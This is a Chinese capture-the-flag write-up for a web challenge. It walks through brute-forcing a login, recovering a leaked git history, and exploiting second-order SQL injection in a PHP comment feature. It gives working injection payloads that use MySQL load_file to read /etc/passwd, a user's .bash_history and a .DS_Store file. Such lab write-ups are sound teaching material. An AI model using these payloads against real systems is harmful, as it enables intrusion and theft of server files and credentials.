攻防世界-WEB-***ment
没想到短短几天浏览就破千了,在这里向各位表示衷心的感谢
老样子,先做爆破
上githack
里面有一个write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case '***ment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
emmmm
不难看出,当mysql.php和login.php放一起时,存在sql注入的概率还是很大的
尝试
好的,失败
重新分析一下
尝试进行用户名和密码爆破
但是也毫无结果
我们试试他给的用户名
这里可以看出
用户名是zhangwei,密码是zhangwei***
也就是说,***可能需要我们进行爆破
试试
成功
接下来我们尝试注入
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
完全没有注入点啊。。。。。。。。
好好好
我们f12看看数据包有没有什么惊喜吧。。。。。
屁都没得。。。。。
自暴自弃的乱翻。。。。。。
我。。。。。
好好好,***mit丢失,那么我们需要做修复
修复方法
-
使用git reflog命令:git reflog命令可以显示仓库中的引用日志,包括被删除的提交
# 查看引用日志 git reflog # 恢复到指定提交 git reset --hard <***mit>
-
使用git fsck命令:git fsck命令可以检查并修复对象数据库中的问题
# 检查并修复对象数据库 git fsck --full --no-dangling
-
使用其他Git工具或服务:比如git reflog和git reset命令来移动分支指针,或者使用Git服务提供商(如GitHub、GitLab等)的恢复功能。
在kali打开
然后做修复
接下来是被修复的php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){ //检查会话中的$_SESSION['login']变量是否等于字符串'yes'。如果不是,将用户重定向到"./login.php"页面,并终止脚本的执行。
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);//从$_POST变量中获取'category'、'title'和'content'的值,并使用addslashes()函数对它们进行转义,以防止SQL注入攻击。
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);//构建一个INSERT INTO语句,将转义后的值插入名为'board'的数据库表中
header("Location: ./index.php");
break;
case '***ment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){//以下是当行数>0时执行的操作
$category = mysql_fetch_array($result)['category'];//从结果集中获取'category'字段的值,并将其存储在$category变量中。
$content = addslashes($_POST['content']);
$sql = "insert into ***ment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";//构建一个SELECT语句,从名为'board'的数据库表中检索'category'字段的值,其中'id'等于转义后的'bo_id'。
$result = mysql_query($sql);
}
header("Location: ./***ment.php?id=$bo_id");//如果行数大于0,将用户重定向到"./***ment.php?id=$bo_id"页面。
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
好的,整理一下
‘write’操作将用户通过POST方法提交的数据插入到名为’board’的数据库表中,而’***ment’操作将用户通过POST方法提交的评论数据插入到名为’***ment’的数据库表中。如果GET参数不是’write’或’***ment’,则用户将被重定向到"./index.php"页面。
这里很有意思的一处就是
在write中,他对所有传入的值做了转义
而在***ment中并未对category做转义,我们完全可以利用这一点进行注入
首先,我们摸清楚原理
insert into board
set category = '$category',
title = '$title',
content = '$content';
当传入的值存在‘ “ \ 以及NULL字符时,addslashes会在字符前加反斜杠。
所以在我们发帖的时候,并不能成功注入
而在***ment中,由于他并未对category使用这个函数,原因可能是在***ment.php中,我们并不能直接使用category。
我们看这一句
$sql = "select category from board where id='$bo_id'";
在***ment中抓个包
所以sql就变成了
insert into ***ment
set category = '123',
title = '1',
content = '1';
bo_id = '1';
那么,当我们在发帖时这么构建
insert into board
set category = '1',content=database()/*',
title = '222',
content = '231241243112234124123441423';
然后我们在***ment中这么输入
insert into ***ment
set category = '1',content=database()/*',
content = '*/#';
bo_id = '1'";
那么sql会将category和content的内容看成’1’,content=database()/**/#
从而执行这条语句
ctf为数据库名称
接下来我们查看用户是什么
权限之高实属难得
我们可以查看一些比较敏感的目录,比如说/etc/passwd /etc/shadow等等等等
在这里的话查看shadow没什么意义,所以我们直接查看/etc/passwd
这里涉及内网渗透的知识
可以发现,除root外,只有www使用bash
bash是Unix以及类Unix的解释器,用于执行命令,编写shell脚本等等
也就是说,我们可以通过查看www的历史记录以获取一些关键信息,这里我们需要知道的是flag在哪里
一般来说,bash的历史记录保存在home/用户/.bash_history中
1',content=(select(load_file("/home/www/.bash_history"))),/*
这里删了 .DS_Store文件,那估摸这里面有玄机
我们去/tmp/html里面找找DS_Store
没读全啊。。。。。。可能是内容太多了
我们试试加密读取
111',content=(select hex((load_file(""/tmp/html/.DS_Store")))),/*
应该是flag了
读取
成功
感谢各位师傅们的支持,能够和师傅们共同成长是我的荣幸
求赞求关注
谢谢!!!